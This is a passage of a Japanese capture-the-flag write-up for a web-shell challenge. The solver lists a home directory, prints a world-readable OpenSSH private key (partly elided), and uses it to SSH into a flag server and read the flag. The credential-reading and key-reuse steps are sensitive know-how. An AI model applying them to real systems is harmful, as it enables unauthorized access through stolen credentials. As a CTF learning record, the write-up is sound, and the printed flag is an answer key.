vim .bash_history 
exit

ls -la からの id_rsa_flagid_rsa_flag はおそらく flag@flagserver にログインするための秘密鍵だろう。

ubuntu@ip-172-31-45-150:~$ ls -la
ls -la
total 68
drwxr-xr-x 8 ubuntu ubuntu  4096 Sep  5 07:17 .
drwxr-xr-x 3 root   root    4096 Sep  4 12:02 ..
-r-xr-xr-x 1 ubuntu ubuntu   188 Sep  5 07:17 .bash_history
-rw-r--r-- 1 ubuntu ubuntu   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu  3771 Feb 25  2020 .bashrc
drwx------ 4 ubuntu ubuntu  4096 Sep  4 22:42 .cache
drwx------ 3 ubuntu ubuntu  4096 Sep  4 22:42 .config
drwxrwxr-x 4 ubuntu ubuntu  4096 Sep  4 22:40 .npm
-rw-r--r-- 1 ubuntu ubuntu   807 Feb 25  2020 .profile
drwx------ 2 ubuntu ubuntu  4096 Sep  4 22:54 .ssh
-rw-r--r-- 1 ubuntu ubuntu     0 Sep  4 22:25 .sudo_as_admin_successful
drwxr-xr-x 2 ubuntu ubuntu  4096 Sep  4 23:13 .vim
-rw------- 1 ubuntu ubuntu 12126 Sep  5 07:17 .viminfo
-rw-rw-r-- 1 root   root    2601 Sep  4 22:48 id_rsa_flag
-r-xr-xr-x 1 ubuntu ubuntu    25 Sep  5 06:05 note
drwxrwxr-x 9 root   root    4096 Sep  5 07:42 wetty
ubuntu@ip-172-31-45-150:~$ cat id_rsa_flag
cat id_rsa_flag
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA4FabBbtlhJY8b8W/oM2yiyJffK2Zkeri8s02RaN+bOm0d8GPRoVr
3gQ947xGaY520kz5NpQR+PEInd5AdcUSWtxL3ucxdmVlFmaL5BEwHzsatGdCV/tTNguQ7n
…
PE6mgXAGVqlNzf7Ex4VpnlUNABVGABpx1VrBvY4xkLg5646a1nKOrbXqDKYN5k/1kRTJ4V
0iH8v+5I2jxMn7jmS1iuTETxEF5E5CkfWDzJF3Z2jEym3OpYoLXrg3iBV9hZKD4zlzX32Z
0q3hjDFeyq//DFAAAADWFrYW5lQGRlc2t0b3ABAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

これを使ってログインするとフラグが得られた。

$ ssh flag@flagserver -i id_rsa
ssh flag@flagserver -i id_rsa
Pseudo-terminal will not be allocated because stdin is not a terminal.
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-1045-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Sep  5 08:09:01 UTC 2021

  System load:  0.0               Processes:             107
  Usage of /:   25.0% of 7.69GB   Users logged in:       0
  Memory usage: 25%               IPv4 address for eth0: 172.31.7.7
  Swap usage:   0%

 * Ubuntu Pro delivers the most comprehensive open source security and
   compliance features.

   https://ubuntu.com/aws/pro

73 updates can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable


*** System restart required ***

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

ls
flag.txt
cat flag.txt
nitic_ctf{shell_in_the_webshell}